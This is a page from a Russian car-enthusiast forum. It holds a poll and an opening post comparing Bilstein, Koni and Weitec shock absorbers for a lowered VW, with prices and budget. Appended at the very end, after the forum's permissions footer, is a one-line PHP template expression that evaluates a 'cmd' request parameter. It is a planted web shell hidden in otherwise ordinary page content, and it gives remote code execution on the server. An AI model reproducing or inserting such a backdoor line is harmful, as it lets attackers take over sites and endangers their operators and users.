Результаты опроса: какие амортеры взять?

Голосовавшие
213. Вы ещё не голосовали в этом опросе
  • Бильштайн Б6 / Б8

    128 60.09%
  • Кони Спорт (они с регулировкой жёсткости, даже)

    57 26.76%
  • Вайтек кит, а свои пружины сдать..

    6 2.82%
  • искать Б\У для Кольцевика и настраивать подвеску у него по своему вкусу..

    9 4.23%
  • машина не вечна, взять альтернативу оригинальным аля Сакс, Каяба, Монро, Боже..

    13 6.10%
Показано с 41 по 50 из 216

Тема: Амортизаторы. что выбрать ?!


Древовидный режим

  1. #1
    GTI-Racing DUX is on a distinguished road Аватар для DUX
    Регистрация
    16.12.2006
    Откуда
    ВАО
    Машина
    VW .. 3.0 tdi
    Сообщений
    2,255

    Амортизаторы. что выбрать ?!

    ребят, привет.
    голову уже сломал( думаю почти месяц и никакой отдачи...

    взял пружины Айбах -30мм,
    уверен что хватит ибо, не жалею, что не взял -45мм, где колеса в арку вхожи)

    а амортеры выбрать не могу(
    на данный момент, тупо по А., есть 3 варианта:
    - Бильштайн Б6 (т.к Б8 - это под -45 пружины)
    - Кони Спорт жОлтые
    - доработать у ув.Кольцевика (Стилл и Инвентор привет + кто-то ещё в курсе),
    но нужны старые стойки, а б/у передние с НЕ алюмин. блюдцами под пружины пока не нашёл...

    ещё есть вариант отдать мои пружины, которые стоят допустим 10тр
    и взять кит Вайтек -35 (?)мм, где и амо и пружины, за 22.500р...

    тк только амортеры Кони, по-ходу, встанут в ~450 Е, а Биль Б6/8 в ~560 Е....

    ещё кит от Кони есть... но в продаже не нашёл и что за занижение и что за пружины неизвестно(

    есть ещё Бильштайн Б12, но что там за пружины никто не в курсе... хотя скорее всего H&R
    бюджет ~850 Е

    ..пружины H&R тоже можно приобрести, примерно за 11-12т.р,
    но как известно, на них жопа обычно ниже передка... и вариант занижения только один -45мм (

    вот Америкосы, вообще, хвалят либо Неуспиид пружины,
    либо как альтернатива - Айбах.

    ..оттого на последних я и остановился.


    ну а что винты? винты не бюджет...
    хотя есть Jom и, вроде качественный, XYZ... причём последний оценивают в 30.000р,
    что для винтов дёшево KW V3, например, стоят 63+ т.р ) короче, Китая боюсь

    и что дальше делать не знаю.
    устал мыслить, выручайте братья!
    :hang2:
    Последний раз редактировалось DUX; 31.05.2010 в 04:24.
    Если вдруг стало темно, не пугайтесь - вы обогнали свет.

Похожие темы

  1. Амортизаторы Koni
    от Strog84 в разделе Покупка и продажа запчастей
    Ответов: 6
    Последнее сообщение: 29.11.2012, 22:51
  2. Амортизаторы.
    от тайсон в разделе Покупка и продажа запчастей
    Ответов: 4
    Последнее сообщение: 08.11.2011, 14:46
  3. Амортизаторы Koni Fsd
    от WaReLa в разделе Тюнинг: подвеска, ходовая, тормозная система, КПП
    Ответов: 6
    Последнее сообщение: 08.04.2009, 22:27
  4. Амортизаторы
    от Verdik в разделе Тюнинг: подвеска, ходовая, тормозная система, КПП
    Ответов: 7
    Последнее сообщение: 23.01.2008, 19:59
  5. АМОРТИЗАТОРЫ
    от artemius в разделе Тюнинг: подвеска, ходовая, тормозная система, КПП
    Ответов: 29
    Последнее сообщение: 05.10.2007, 10:51

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}